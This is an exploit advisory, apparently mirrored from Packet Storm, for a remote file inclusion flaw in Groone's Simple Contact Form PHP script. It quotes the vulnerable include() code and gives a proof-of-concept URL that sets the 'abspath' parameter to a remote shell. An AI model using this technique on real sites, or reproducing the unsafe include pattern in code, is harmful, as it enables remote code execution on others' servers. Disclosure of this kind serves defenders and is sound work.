Lucene search
K

Groone's Simple Contact Form Remote File Inclusion

🗓️ 28 May 2010 00:00:00Reported by eidelweissType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Groone's Simple Contact Form Remote File Inclusion vulnerability allowing an attacker to execute remote code by manipulating the "abspath" parameter

Code
`=====================================================================  
Groone's Simple Contact Form (abspath) RFI Vulnerability  
=====================================================================  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################## 1  
0 I'm eidelweiss member from Inj3ct0r Team 1  
1 ######################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Vendor: www.groonesworld.com  
download: http://www.groonesworld.com/programs/contact/contact.zip  
Author: eidelweiss  
Contact: g1xsystem[at]windowslive.com  
  
=====================================================================  
  
Description:  
  
Groone's World Development is a site dedicated to open source development; offering a wide range of mostly free php scripts that will meet your needs.   
  
  
-=[ Vuln Code ]=-  
  
  
[-] path/contact/contact.php  
-----------------------------------------------------------------------------------  
  
<?php  
$abspath = "/home/user/public_html/contact/";  
  
/*   
This is groones contact form. It's a script that allows people to put a simple contact form on their website  
It can be downloaded from http://www.groonesworld.com/  
License: GPL  
  
Thank you, Russell H. Bennett, Jr.  
*/  
  
include($abspath.'inc/settings.inc.php'); // <= 1  
  
--------  
  
function mailok($usermsg) {  
global $abspath;  
include($abspath."inc/badwords.inc.php"); // <= 2  
  
$usermsg = strtoupper($usermsg);  
$tmpbad = strtoupper($badwords);  
$badwords = explode(",",$tmpbad);  
$ding = "GOOD";  
$i = 0;  
-----------------------------------------------------------------------------------  
  
-=[ P0C ]=-  
  
http://127.0.0.1/path/contact/contact.php?abspath= [inj3ct0r sh3ll]  
  
=========================| -=[ E0F ]=- |=========================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation